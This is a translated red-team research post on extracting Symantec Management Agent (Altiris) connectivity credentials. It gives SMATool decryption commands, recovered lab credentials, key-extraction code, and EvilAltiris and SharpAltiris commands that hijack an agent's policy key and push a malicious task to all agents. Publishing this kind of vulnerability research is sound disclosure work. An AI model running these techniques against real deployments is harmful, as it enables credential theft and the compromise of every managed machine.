从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

admin
admin
admin
140350
文章
117
评论
2024年12月5日11:44:59评论12 views字数 27138阅读90分27秒阅读模式

Extracting Account Connectivity Credentials (ACCs) from Symantec Management Agent (aka Altiris)

在最近对一个安全防护特别严密的客户进行的红队评估中，我们正在寻找提升权限的方法，以便从终端转移到服务器子网中。当常规路径都无法奏效时，我们开始研究安装在终端上的管理软件，特别是赛门铁克管理代理（以前称为"Altiris"）。事实上，这是我们之前遇到过[1]的东西，我们很想看看从权限提升的角度能做些什么。

查看在线文档[2]发现了"账户连接凭据（ACC）"的使用。这个账户用于实现对赛门铁克站点服务器的网络访问，以下载软件包、策略和任务配置数据。这立即让我们想起了另一个用于在 Microsoft SCCM 中执行几乎相同任务的三字母缩写：网络访问账户（NAA）。

由于 Adam Chester 的出色研究[3]和 Chris Thompson 开发的 C# 工具SharpSCCM[4]，网络访问账户相关的安全风险已经得到充分认识。

考虑到我们在评估中经常看到权限过大的 SCCM NAA，我们开始研究赛门铁克管理代理 ACC 是如何配置的，它是如何传递到终端的，以及是否可能提取这些凭据。

如果想直接查看工具，请点击这里[5]。

赛门铁克管理平台基础架构

如此处[6]所述，赛门铁克管理平台有四个主要架构组件：

  • 通知服务器及其基于 Web 的赛门铁克管理控制台
  • SQL Server
  • 站点服务器（可包括任务服务器、软件包服务器、网络引导服务器和监控服务）
  • 受管理的计算机

下面是赛门铁克的高级基础架构图。就我们的目的而言，我们假设已经成功入侵了一台安装了赛门铁克管理代理的受管理计算机。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

赛门铁克管理代理 ACC 账户配置

在安装我们的实验环境时，系统提示我们输入通知服务器账户的凭据。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

根据文档[7]，这个账户必须在通知服务器上拥有本地管理员权限。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

默认情况下，这些凭据也将被用作 ACC，除非我们在 Web 管理门户的Settings → Agents/Plug-ins → Symantec Management Agent → Settings → Global Agent Settings 中显式配置一个。这意味着在默认配置中，ACC 将被设置为一个对通知服务器具有完全管理权限的账户。这些凭据还可以用于通过 URLhttps://notification-server.local/Altiris/console 以完全管理员权限访问管理控制台。

我们可以看到，赛门铁克在这里警告我们潜在的安全风险，并建议我们配置一个低权限账户。问题解决了！肯定没有人会使用默认配置的产品吧？

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

在了解了 ACC 是如何配置的，以及获取高权限账户凭据的可能性后，我们可以继续研究 ACC 是如何发送给代理的。

代理注册过程概述

要了解 ACC 是如何分发的，我们首先必须了解代理注册过程是如何工作的。

由于代理通信是通过 HTTP(S) 进行的，我们可以简单地使用 MSI 安装程序安装代理，并运行 Wireshark 来观察流量。虽然代理安装程序支持 HTTP 代理，但在安装过程中通过 Burp 运行代理流量会产生意外结果。要查看 HTTPS 通信，我们可以简单地添加通知服务器 SSL 证书的私钥来解密流量。

在安装代理时，我们观察到对CreateResource.aspx 的 HTTP 请求。虽然 POST 数据是原始二进制数据，但我们假设这可能是某种设备注册请求，用于向通知服务器注册代理。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

注册请求后不久，我们看到对GetClientPolicies.aspx 的 HTTP 请求，其中包含有关我们已注册工作站的元数据。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

由于代理服务以 SYSTEM 身份运行，这些请求使用域计算机账户的协商认证来执行。然而，关键的是，当我们使用 Burp 重放这个请求并提供域用户（非计算机）账户的 NTLMv2 凭据时，服务器仍然返回相同的二进制响应数据。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）
从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

这表明应用程序仅将集成认证用作传输层保护的方法。似乎没有额外的应用程序逻辑将我们的认证域用户映射回特定的 GUID。这在后面会派上用场。

通过调整请求中的参数，我们能够找出返回成功响应所需的最少参数。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

基于这个请求，我们可以得出结论，要向通知服务器认证并请求代理策略数据，我们需要以下内容：

  • NTLM / Kerberos 认证（适用于任何域账户）
  • GUID
  • TypeGUID

满足第一个要求并不是问题，因为我们已经在终端上运行在域上下文中。但是，我们不知道这两个 GUID 是如何生成的，也不知道它们是如何用于认证请求的。我们目前也完全不知道如何解码从GetClientPolicies 请求返回的服务器响应数据。要完成这些剩余的要求，我们需要深入研究代理本身。

赛门铁克管理代理工具

在研究如何提高代理记录的调试级别时，我们发现了赛门铁克分发的一个有用工具[8]SMATool.exe。这个工具可以在通知服务器的C:Program FilesAltirisNotification ServerBinToolsSMATool.exe 路径找到，它为代理提供了许多调试功能。

SMATool.exeSMP Agent Command Line ToolCopyright (C) 2023 Broadcom. All rights reserved.SMATool.exe [/Operation] [Parameter List]Operation:        HELP | ?        -Show this help.        STORAGE         - Agent Storage operation        DATA            - Data processing operation        FILE            - File processing operation        AGENT           - Agent operations        AD              - Active Directory operationCommon forevery operation parameters:        WAIT            - Wait for operation to complete        TPWD            - Ask for the troubleshooting password        TPWD:<pwd>-Set the troubleshooting password/DATA DUMP PASSWORD <Base64 encoded password string>/AGENT DUMP MACHINETYPE

特别值得注意的是与"Agent Storage"相关的功能，在代理工作站上运行 Procmon 时调用这些功能会显示对名为LDB 的父文件夹中的磁盘文件的引用。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

通过在线[9]研究这些内容，我们发现赛门铁克将这些文件称为"代理安全存储文件"。

LDB folder:The following are the default location for the LDB folder(Agent secure storage files):"Documents and SettingsAll UsersApplication DataSymantecSymantec AgentLdb""ProgramDataSymantecSymantec AgentLdb"

在检查可用的命令行功能时，我们发现了一个有趣的命令/AGENT DUMP MACHINETYPE。在安装了代理的机器上以本地管理员权限运行此命令，得到了以下输出。

SMATool.exe /AGENT DUMP MACHINETYPEMachine type: Virtual        Manufacturer: Oracle Corporation        Model: VirtualBox        Version: 1.2        GUID: 00000000-0000-0000-0000-000000000000Machine type GUID: {2C3CB3BB-FEE9-48DF-804F-90856198B600}

这个 GUID 看起来很眼熟！这正是我们在请求GetClientPolicies.aspx 时观察到的TypeGUID 参数值。那么我们看到的另一个 GUID 呢，它是否也存储在 LDB 中？事实证明，它实际上存储在注册表中，未加密且可被任何（低权限）用户读取。

ComputerHKEY_LOCAL_MACHINESOFTWAREAltirisAltiris AgentMachineGuid

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

现在我们已经获得了从通知服务器请求策略数据所需的所有信息，尽管这对我们来说用处不大，因为响应数据只是原始二进制。然而，事实证明，SMAtool 在这方面也能帮到我们。

如果我们获取响应数据，将其转换为 base64 并传递给/DATA DUMP PASSWORD 函数，我们会收到一个"Bad Data"错误。

SMATool.exe /DATA DUMP PASSWORD AACJUtjGF<SNIP>Failed to execute command: 0x80090005 [Bad Data].

进一步阅读赛门铁克的文档，我们发现了这样一行内容，它为我们提供了关于LDB 中数据加密方式的线索。

SMATool.exe should run under SYSTEM account in orderto be able to decrypt the policy response file (use psexec.exe).

如果我们使用PSExec.exe 启动一个 SYSTEM 权限的命令提示符并重新运行该命令，现在会提示我们输入一个故障排除密码[10]。

SMATool.exe /DATA DUMP PASSWORD AACJUtjGF<SNIP>Type the troubleshooting password: *

这个密码是在通知服务器的 Web 管理门户中设置的，代理使用它来加密存储在LDB 中的某些数据。虽然这是一个必需的参数，但并非LDB 中存储的所有数据都使用此密钥加密。为了证明这一点，我们通过/TPWD 参数提供一个虚拟值并重新运行该命令。

SMATool.exe /TPWD:MDSEC /DATA DUMP PASSWORD AACJUtjGF<SNIP>0000    3c 72 65 73 70 6f 6e 73  65 20 6e 73 56 65 72 73   <responsensVers0010696f6e3d22382e372e323333372e3022ion="8.7.2337.0"00203e3c7265736f75726365733e3c726573   ><resources><res0030    6f 75 72 63 65 20 67 75  69 64 3d 22 7b 31 31 34   ource guid="{1140040    62 37 31 37 38 2d 32 65  34 65 2d 34 30 37 31 2d   b7178-2e4e-4071-0050    38 31 64 66 2d 39 31 39  62 33 66 31 30 65 30 63   81df-919b3f10e0c0060    32 7d 22 3e 3c 72 65 73  6f 75 72 63 65 50 6f 6c   2}"><resourcePol0070    69 63 79 20 67 75 69 64  3d 22 7b 31 34 32 66 32   icy guid="{142f20080    33 37 32 2d 65 36 34 64  2d 34 33 63 30 2d 61 32   372-e64d-43c0-a20090    30 37 2d 31 37 64 62 32  63 30 35 35 32 63 34 7d   07-17db2c0552c4}00a0    22 20 2f 3e 3c 72 65 73  6f 75 72 63 65 50 6f 6c   " /><resourcePol00b0    69 63 79 20 67 75 69 64  3d 22 7b 63 64 35 32 65   icy guid="{cd52e00c0    62 36 36 2d 30 36 31 63  2d 34 32 33 65 2d 62 66   b66-061c-423e-bf00d0    37 65 2d 30 38 32 39 32  37 31 33 38 64 66 65 7d   7e-082927138dfe}<SNIP>

太好了！我们现在已经从通知服务器获得了解密后的策略响应。如果我们检查解密后的数据，我们可以看到其中包含defaultACC_SecureAttribute 的引用，以及userName_Secure_Attribute 和userPassword_SecureAttribute 的条目。

2bf0 744143435f 5365637572654174747269   tACC_SecureAttri2c00 627574653d 2268696768736563757265   bute="highsecure2c10 64 22 20 64 65 66 61 75  6c 74 41 43 43 3d 22 54   d" defaultACC="T2c20 72 75 65 22 20 75 73 65  72 4e 61 6d 65 5f 53 65   rue" userName_Se2c30 637572654174747269627574653d 2268   cureAttribute="h2c40 69 67 68 73 65 63 75 72  65 64 22 20 75 73 65 72   ighsecured" user2c50 4e 616d 653d 22417743576a 566b 396f 43   Name="AwCWjVk9oC2c60 56 4b 53 47 41 77 4d 63  47 64 72 48 65 65 64 38   VKSGAwMcGdrHeed82c70 7a 72 71 6d 58 4d 68 4c  35 34 34 38 73 6c 57 62   zrqmXMhL5448slWb

这些值看起来也是加密的，所以我们再次求助于我们可靠的朋友SMAtool。将这些值加载到相同的/DATA DUMP PASSWORD 函数中，就会显示出 ACC 的明文用户名和密码值。

SMATool.exe /TPWD:MDSEC /DATADUMPPASSWORDAwCWjVk9oCVKSGAwMcGdrHeeGgb3zP+X1URujyeX9sSNCg865meVAxDjjwu7yrMiwtSqRyFSu223tHkudAu6S8jKB/wEgk30d29OXW/J64/8sVtNWclR98HnX20aeKYTvKskYh+KE/oW/QuTrhZgICiw17GMFRwLRbOs3pN8Yd85zA1gINudPo2EJWMjvqGNcnFyQa58k3sGm0pC1SLQ73zd1ynPTExur2lpRbNmgv8tmQ==INITECHaltiris_connectivity_credential3SMATool.exe /TPWD:MDSEC/DATA DUMP PASSWORD AwCWjVk9oCVKSGAwMcGdrHee24NhmeSpLOyxpDXmlYRpVyKJaUnSYOjplCbL/bAW5g7XMsEudlbPWAiBTlH5lf+eOAbBTxH/1529ZKzBjMILfXJBrnyTewabSkLVItDvfN3XKc9MTG6vaWlFs2aC/y2ZSuperSecure!

在测试过程中，我们注意到来自不同环境的ACC_SecureAttribute 值都可以使用相同的SMAtool 进行解密，但是服务器返回的策略数据却不是这种情况。这表明策略数据可能是使用代理特定的密钥（存储在 LDB 中）加密的，而 ACC 则是使用静态密钥（存储在SMAtool 二进制文件本身中）加密的。SMAtool 的多功能特性意味着它能够检查输入字符串并自动确定使用哪个加密密钥来解密数据。

高权限利用

现在我们已经拥有从安装了 Symantec Management Agent 的工作站上的特权（SYSTEM）进程中恢复 ACC 凭据所需的一切。为了自动化攻击，我们创建了一个 C# 工具EvilAltiris 来从通知服务器拉取策略数据，并调用磁盘上SMAtool 二进制文件中的相关函数。

要执行高权限攻击，我们执行以下操作：

  • 从注册表读取 MachineGuid
  • 通过 SMATool 从 LDB 读取 TypeGuid
  • 从服务器请求加密的策略数据
  • 使用 SMATool 解密策略数据
  • 使用 SMATool 解密 ACC

下面的视频演示了通过EvilAltiris 执行这些操作，并使用 ACC 向通知服务器的管理员 Web 界面进行身份验证。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

我们还可以使用这些凭据通过我们现有的后渗透工具SharpAltiris[11] 与通知服务器 API 进行交互，将恶意代码推送到所有已注册的代理。

SharpAltiris.exe ScheduleTask http://dc.initech.local a9955ffd-1949-4fef-99d7-6d45eca67dba 121f90f2-1e50-418a-86de-87c884ca1a2d mymalicioustask "INITECH\altiris_notification""SuperSecure!"Sending URL http://dc.initech.local/altiris/ASDK.Task/TaskManagementService.asmx/ExecuteTask[+] Task Executed successfully!

注意：一个额外的好处是代理通信和管理员 Web 界面使用相同的 TCP 端口（TCP 80/443）。这意味着由于需要允许代理的流量，工作站局域网必须通过防火墙允许访问管理员 Web 界面。这对于那些服务器管理端口通常只能从特定主机或跳板机访问的加固环境特别有用。

低权限利用

虽然我们的攻击有效，但我们需要 SYSTEM 权限才能解密存储在LDB 中的必要数据。从 OPSEC 的角度来看，将SMAtool.exe 写入磁盘也不是理想的选择。最后，从技术上讲，没有任何限制阻止我们使用普通域用户账户执行攻击，因为任何用户都可以通过 NTLM 向通知服务器进行身份验证。因此，我们着手开发一种从非特权位置进行利用的方法，消除对SMAtool.exe 的依赖。

为了实现这一目标，我们需要通过反编译和动态逆向工程的组合来验证我们之前关于注册过程的一些假设。

重新审视我们的设备注册请求，我们想要更好地理解用于将代理注册到通知服务器的初始请求。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

虽然请求体是加密的，但由于通知服务器的后端代码是用 .NET 编写的，我们可以反编译服务器二进制文件来尝试识别请求数据是如何加密的。服务器端逻辑的大部分可以在以下 DLL 中找到：

  • C:Program FilesAltirisNotification ServerAgentWebAgentBinAltiris.Web.NS.Agent.dll
  • C:Program FilesAltirisSymantec Installation ManagerAltiris87.NS.dll

在 dotPeek 中反编译 .NET 二进制文件后，我们在Altiris.Web.NS.Agent.dll:Altiris.Web.NS.Agent.CreateResourceHttpHandler.cs 中找到了以下类。在这个类中，我们注意到对函数DecryptRequestText 的调用。

protectedoverride bool ValidateRequestValues(      HttpContext context,      CreateResourceHttpHandlerData data)    {<TRIMMED FOR BREVITY>data.RequestXml = this.DecryptRequestText(context, data);    }

追踪这个调用，我们最终进入了Altiris87.NS.dll:Altiris.NS.Security.Cryptography.SymmetricKeyManager.cs 类。这个类提供了一种从存储在通知服务器上C:ProgramDataSymantecKMS 路径的密钥管理系统（KMS）目录中提取密钥的方法。这个目录中的每个 XML 文件都包含一个使用 DPAPI 加密的对称或非对称密钥。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

为了提取这些密钥，我们创建了一个新的 C# 项目，添加对Altiris87.NS.dll 的引用，然后调用GetAsymmetricKey 函数，传入我们想要的密钥名称NS.PackageSigning。

publicstaticvoidKeyCacheEntry (RSAAsymmetricKeyInfo key, bool isPrivate)        {using (RSACryptoServiceProvider cryptoServiceProvider = isPrivate ? (RSACryptoServiceProvider)GetPrivateAlgorithmOverride(key) : (RSACryptoServiceProvider)key.GetAlgorithm())            {                Console.WriteLine(cryptoServiceProvider.ToXmlString(isPrivate));            }        }staticvoidMain(string[] args)        {using (AsymmetricKeyInfo keyWithImpersonation = SymmetricKeyManager.GetAsymmetricKey("NS.PackageSigning"))            {                RSAAsymmetricKeyInfo PackageSigningKey = (RSAAsymmetricKeyInfo)keyWithImpersonation;                KeyCacheEntry(PackageSigningKey, true);            }        }

在通知服务器上运行此代码会得到以下输出。

'NS.PackageSigning' (RSAAsymmetricKeyInfo,unprotected)KeySize: 2048Key: RSA-PKCS1-KeyExKey: <http://www.w3.org/2000/09/xmldsig#rsa-sha1>KeyXML: <RSAKeyValue><Modulus>vXj197K0K60misOMVqpnwDWFw/UHrRvBgZ6Lepdfk9eHkyfmCndWuH92Sz5BpfdvpjoOYNIPRAd4evJqrbgFrRg58ddKyS70L2aYofGU39Op5s+PtV4RP9eA5GIi5Felaxt0fjFHuWvB54PmzeKrqFtRDz1bfNUvZwn4tvU5p5LKUs/TlQ+6RcuThnZhNwuHbIOa589ezjnKwaAd2XPNIG2OUNcGaLIK4eJK1B0sHvtJRun+mLAtTd82kePYstgyh1XGqSzuBY5mIKAXAACLeWg7tGDWGQedHLy3T4vmPCniq4Eq/ylE9g4CwkYtp9zDY0Pr/vT92ULFN/H4pQ9btQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

为了执行解密操作，我们从设备注册请求中获取二进制请求数据，并将其与从 KMS 提取的私钥一起传递给下面的函数。

publicstaticbyte[] DecryptToStreamWithNSKeyByte(RSACryptoServiceProvider rsaPrivateKey, byte[] data)        {using (rsaPrivateKey)            {using (AsymmetricKeyEncryption asymmetricKeyEncryption = new AsymmetricKeyEncryption(rsaPrivateKey))return asymmetricKeyEncryption.Decrypt(data);            }        }        Console.WriteLine(ByteArrayToString(DecryptToStreamWithNSKeyByte(cryptoServiceProvider, Convert.FromBase64String("AAA4xIqgq7WOIYvNq<TRIMMED FOR BREVITY>"))));

这将得到以下来自我们设备注册请求的解密 XML POST 数据。对我们来说特别感兴趣的是policyKey 值，因为这很可能是用于加密代理策略数据的非对称密钥的引用。

<TRIMMED FOR BREVITY>26573733d2230382d30302d32372d39372d35462d3046222073746174653d226e6577222f3e0a3c2f7265736f757263653e0a | xxd -r -p | hexdump -C00000000  3c 72 65 73 6f 75 72 63  65 20 74 79 70 65 47 75  |<resource typeGu|00000010  69 64 3d 22 7b 32 43 33  43 42 33 42 42 2d 46 45  |id="{2C3CB3BB-FE|00000020  45 39 2d 34 38 44 46 2d  38 30 34 46 2d 39 30 38  |E9-48DF-804F-908|00000030  35 36 31 39 38 42 36 30  30 7d 22 20 6e 61 6d 65  |56198B600}" name|00000040  3d 22 57 4f 41 46 33 38  33 36 4f 22 20 70 6f 6c  |="WOAF3836O" pol|00000050  69 63 79 4b 65 79 3d 22  41 41 41 41 41 51 41 42  |icyKey="AAAAAQAB|00000060  78 5a 45 71 64 61 41 51  51 43 4a 58 2b 42 30 44  |xZEqdaAQQCJX+B0D|<TRIMMED FOR BREVITY>

对请求中policyKey 参数的 base64 值进行解码，我们可以看到以下内容。

echo AAAAAQABxZEqdaAQQCJX+B0Dn6EzwjR4yxtHJWp9T7PrfJP2RTOmWm19R2WPzefkiN/YwuKEc+eUBPgD0/6W6dnlrhRPorhnBgPkfKBB2D+NIcsNhB3obyvcrhQKHydHiU9QhS5eGThK3a8lBQuJQpi5CXA60wtiqoVaPxbn/++13yeWmO+8i2Kug0b9ouHozcyHgR0lF77WSw83mTQwDLyJQmhBsI1gyCby8MNsZRSa+1ljy8l/gBJlz/s+hBUU7Qi+PcoD71CN6plu/1TWP+K3oqa0yaUQQwuy5kVSbIfjRS+3FxMZceMZTvaZ+1eUnIN31VnkbSaSsk5yMBq1/1BKEZWodQ== | base64 -d | hexdump -C00000000  00 00 00 01 00 01 c5 91  2a 75 a0 10 40 22 57 f8  |........*u..@"W.|00000010  1d 03 9f a1 33 c2 34 78  cb 1b 47 25 6a 7d 4f b3  |....3.4x..G%j}O.|00000020  eb 7c 93 f6 45 33 a6 5a  6d 7d 47 65 8f cd e7 e4  |.|..E3.Zm}Ge....|00000030  88 df d8 c2 e2 84 73 e7  94 04 f8 03 d3 fe 96 e9  |......s.........|00000040  d9 e5 ae 14 4f a2 b8 67  06 03 e4 7c a0 41 d8 3f  |....O..g...|.A.?|00000050  8d 21 cb 0d 84 1d e8 6f  2b dc ae 14 0a 1f 27 47  |.!.....o+.....'G|00000060  89 4f 50 85 2e 5e 19 38  4a dd af 25 05 0b 89 42  |.OP..^.8J..%...B|00000070  98 b9 09 70 3a d3 0b 62  aa 85 5a 3f 16 e7 ff ef  |...p:..b..Z?....|00000080  b5 df 27 96 98 ef bc 8b  62 ae 83 46 fd a2 e1 e8  |..'.....b..F....|00000090  cd cc 87 81 1d 25 17 be  d6 4b 0f 37 99 34 30 0c  |.....%...K.7.40.|000000a0  bc 89 42 68 41 b0 8d 60  c8 26 f2 f0 c3 6c 65 14  |..BhA..`.&...le.|000000b0  9a fb 59 63 cb c9 7f 80  12 65 cf fb 3e 84 15 14  |..Yc.....e..>...|000000c0  ed 08 be 3d ca 03 ef 50  8d ea 99 6e ff 54 d6 3f  |...=...P...n.T.?|000000d0  e2 b7 a2 a6 b4 c9 a5 10  43 0b b2 e6 45 52 6c 87  |........C...ERl.|000000e0  e3 45 2f b7 17 13 19 71  e3 19 4e f6 99 fb 57 94  |.E/....q..N...W.|000000f0  9c 83 77 d5 59 e4 6d 26  92 b2 4e 72 30 1a b5 ff  |..w.Y.m&..Nr0...|00000100  50 4a 11 95 a8 75                                 |PJ...u|

SMATool.exe 提供了一个有用的命令来从LDB 中导出当前代理的公钥。运行这个命令后，我们确认了policyKey 参数中包含的值确实就是代理的公钥。

SMATool.exe /AGENT DUMP PUBLICKEYPublic key:0000000000010001 c5 912a 75 a010402257 f8   ........*u..@"W.00101d 039f a1 33 c2 3478  cb 1b 47256a 7d 4f b3   ....3.4x..G%j}O.0020    eb 7c 93 f6 4533 a6 5a  6d 7d 47658f cd e7 e4   .|..E3.Zm}Ge....003088 df d8 c2 e2 8473 e7  9404 f8 03 d3 fe 96 e9   ......s.........0040    d9 e5 ae 144f a2 b8 670603 e4 7c a041 d8 3f   ....O..g...|.A.?00508d 21 cb 0d 841d e8 6f  2b dc ae 14 0a 1f 2747   .!.....o+.....'G0060    89 4f 50 85 2e 5e 19 38  4a dd af 25 05 0b 89 42   .OP..^.8J..%...B0070    98 b9 09 70 3a d3 0b 62  aa 85 5a 3f 16 e7 ff ef   ...p:..b..Z?....0080    b5 df 27 96 98 ef bc 8b  62 ae 83 46 fd a2 e1 e8   ..'.....b..F....0090    cd cc 87811d 2517 be  d6 4b 0f 37993430 0c   .....%...K.7.40.00a0    bc 89426841 b08d 60  c8 26 f2 f0 c3 6c 6514   ..BhA..`.&...le.00b0    9a fb 59 63 cb c9 7f 80  12 65 cf fb 3e 84 15 14   ..Yc.....e..>...00c0    ed 08 be 3d ca 03 ef 50  8d ea 99 6e ff 54 d6 3f   ...=...P...n.T.?00d0    e2 b7 a2 a6 b4 c9 a5 10  43 0b b2 e6 45 52 6c 87   ........C...ERl.00e0    e3 45 2f b7 17 13 19 71  e3 19 4e f6 99 fb 57 94   .E/....q..N...W.00f0    9c 83 77 d5 59 e4 6d 26  92 b2 4e 72 30 1a b5 ff   ..w.Y.m&..Nr0...0100    50 4a 11 95 a8 75

通过分析Altiris87.NS.dll:Altiris.NS.Security.Cryptography.PublicKeyConverter.cs 类中的ConvertToPublicKeyBlobV2 函数，我们发现了代理公钥 blob 的结构。

publicstaticreadonlybyte SMA_Key_Version = 0;publicstaticreadonlybyte SMA_Key_Flags = 0;publicstaticbyte[] ConvertToPublicKeyBlobV2(byte[] streamModulusExp)    {using (RSACryptoServiceProvider cryptoServiceProvider = new RSACryptoServiceProvider(2048))      {        RSAParameters parameters = new RSAParameters();byte[] destinationArray1 = newbyte[PublicKeyConverter.SMAkey_exponent_size];byte[] destinationArray2 = newbyte[PublicKeyConverter.SMAkey_modulus_size];        Array.Copy((Array) streamModulusExp, PublicKeyConverter.SMAkey_parity_size, (Array) destinationArray1, 0, destinationArray1.Length);        Array.Copy((Array) streamModulusExp, destinationArray1.Length + PublicKeyConverter.SMAkey_parity_size, (Array) destinationArray2, 0, destinationArray2.Length);        parameters.Modulus = destinationArray2;        parameters.Exponent = destinationArray1;        cryptoServiceProvider.ImportParameters(parameters);return cryptoServiceProvider.ExportCspBlob(false);      }    }

公钥 blob 的格式可以用下图表示。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

有了这些信息，我们就可以生成自己的非对称密钥对，将公钥转换为通知服务器所需的 base64 编码 blob 格式。

EvilAltiris.exe GenerateCerts█▀▀ █ █ █ █   ▄▀█ █   ▀█▀ █ █▀█ █ █▀██▄ ▀▄▀ █ █▄▄ █▀█ █▄▄  █  █ █▀▄ █ ▄█Author: Matt Johnson - MDSec ActiveBreach - v0.0.1[+] Generating new asymmetric key pair for Agent encryption...[+] Public Key Modulus (Base64): qDHx4/T+bEWU/oxbowWxaCtu3MZF9FvAJ1/g1iD2Nu0v6aNxO77W7iRP3/mrcR5QQQ2azAXj0xhTbSEtk/4PlfN09EMurBnCXfJ9DHhKwrMQs9qatOOI0989/QQbMA6at7iVgpf4BC99GNjTizJJFQnIGLjSk4QfrMl2DiWsCzTAE7oFAwsERjFMxDB3FMhysKP4n2iRPdLP2LLkfV7yU9W9vuopeArDYxP1UpSUZjyzXPePhhRF3+Oz8q8v2hv5Uq23wuDdVY8PZ8XwY5G5rniBFA2GFV+uYE6juidceiLUeQDdSY88EiYjNZrzxzjtG5fqpnZVard1Wgk23EyznQ==[+] Public Key Exponent (Base64): AQAB[+] Generating SMA CSP blob (policyKey)...AAAAAQABqDHx4/T+bEWU/oxbowWxaCtu3MZF9FvAJ1/g1iD2Nu0v6aNxO77W7iRP3/mrcR5QQQ2azAXj0xhTbSEtk/4PlfN09EMurBnCXfJ9DHhKwrMQs9qatOOI0989/QQbMA6at7iVgpf4BC99GNjTizJJFQnIGLjSk4QfrMl2DiWsCzTAE7oFAwsERjFMxDB3FMhysKP4n2iRPdLP2LLkfV7yU9W9vuopeArDYxP1UpSUZjyzXPePhhRF3+Oz8q8v2hv5Uq23wuDdVY8PZ8XwY5G5rniBFA2GFV+uYE6juidceiLUeQDdSY88EiYjNZrzxzjtG5fqpnZVard1Wgk23EyznQ==[+] Private Key (XML): <RSAKeyValue><TRIMMED FOR BREVITY></RSAKeyValue>

关于CreateResource.aspx 端点的一个有趣观察是，没有任何机制阻止我们直接更新现有代理的policyKey 值。唯一的要求是我们需要知道要覆盖的设备的machineGUID。当我们下次请求策略数据时，数据将使用我们控制的密钥进行加密。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

由于任何低权限用户都可以读取machineGuid，我们可以选择生成一个新的非对称密钥对，然后覆盖该机器的policyKey 值。为了实现自动化，我们在EvilAltiris 中添加了一个功能，可以使用我们自己的密钥覆盖指定machineGuid 的现有代理公钥。

EvilAltiris.exe SetPublicKey /key:AAAAAQABqDHx4/T+bEWU/oxbowWxaCtu3MZF9FvAJ1/g1iD2Nu0v6aNxO77W7iRP3/mrcR5QQQ2azAXj0xhTbSEtk/4PlfN09EMurBnCXfJ9DHhKwrMQs9qatOOI0989/QQbMA6at7iVgpf4BC99GNjTizJJFQnIGLjSk4QfrMl2DiWsCzTAE7oFAwsERjFMxDB3FMhysKP4n2iRPdLP2LLkfV7yU9W9vuopeArDYxP1UpSUZjyzXPePhhRF3+Oz8q8v2hv5Uq23wuDdVY8PZ8XwY5G5rniBFA2GFV+uYE6juidceiLUeQDdSY88EiYjNZrzxzjtG5fqpnZVard1Wgk23EyznQ== /url:http://dc.initech.local /machine:{CBE20FEC-1031-48D8-B277-50D593329CE4}█▀▀ █ █ █ █   ▄▀█ █   ▀█▀ █ █▀█ █ █▀██▄ ▀▄▀ █ █▄▄ █▀█ █▄▄  █  █ █▀▄ █ ▄█Author: Matt Johnson - MDSec ActiveBreach - v0.0.1[+] Response received for request:[+] Response Content:<Resource guid="{CBE20FEC-1031-48D8-B277-50D593329CE4}" typeGuid="{2c3cb3bb-fee9-48df-804f-90856198b600}" name="" ref="cbe20fec-1031-48d8-b277-50d593329ce4" existing="True" nsKey="AAAAAQABvXj197K0K60misOMVqpnwDWFw/UHrRvBgZ6Lepdfk9eHkyfmCndWuH92Sz5BpfdvpjoOYNIPRAd4evJqrbgFrRg58ddKyS70L2aYofGU39Op5s+PtV4RP9eA5GIi5Felaxt0fjFHuWvB54PmzeKrqFtRDz1bfNUvZwn4tvU5p5LKUs/TlQ+6RcuThnZhNwuHbIOa589ezjnKwaAd2XPNIG2OUNcGaLIK4eJK1B0sHvtJRun+mLAtTd82kePYstgyh1XGqSzuBY5mIKAXAACLeWg7tGDWGQedHLy3T4vmPCniq4Eq/ylE9g4CwkYtp9zDY0Pr/vT92ULFN/H4pQ9btQ==">  <symmetricKeySets exportedAt="638670151141935445" machine="DC">    <symmetricKeySet name="NS.AgentSettings">      <symmetricKey keyType="kDefault, kExposableToAgent" algorithm="AesCryptoServiceProvider" cipherMode="CBC" paddingMode="PKCS7" key="gK8Uj/pXZzw+tRJV5ihzzw468bZkXzdEwNFgMJs2fW4=" IV="unhnVwwntk7jrhLh79loQw==" keyHash="OUaJHNCD90o23wBfTdXCnR7/j5c9bGDKndFUJxlhm2s=" />    </symmetricKeySet>  </symmetricKeySets></Resource>

这里一个很好的额外收获是，通知服务器在响应中也包含了代理的TypeGUID，这是我们请求代理策略数据时所需要的。这很有用，因为作为低权限用户，由于TypeGUID 值在LDB 中是加密存储的，我们无法直接读取它。注意：响应数据中包含的对称密钥对我们来说并不有用，因为它并不用于保护策略数据。

这种方法的问题在于，一旦我们覆盖了policyKey，代理将无法再解密其自己的策略请求（因为它不知道新生成的密钥），并且会继续使用存储在LDB 中的旧公钥值。这并不理想，因为它会使代理处于不稳定状态，无法接收未来的策略更新。确实，在覆盖代理公钥后，我们看到控制台中现在显示了错误状态。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

我们在这个问题上花了一些时间，试图找到一种方法来恢复覆盖了现有公钥的代理。一天深夜，当我们用 OleView 深入研究赛门铁克管理代理 COM 接口时，我们有了重大发现。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

赛门铁克管理代理服务暴露了一个本地 COM 服务器AeXNSAgent，导出了多个用于管理代理的方法。其中一个方法ClearMachineGuid 提供了我们正在寻找的确切功能。调用此函数会导致代理向CreateResource.aspx 端点发出请求，包含当前存储在LDB 中的现有代理元数据（最关键的是代理公钥值）。

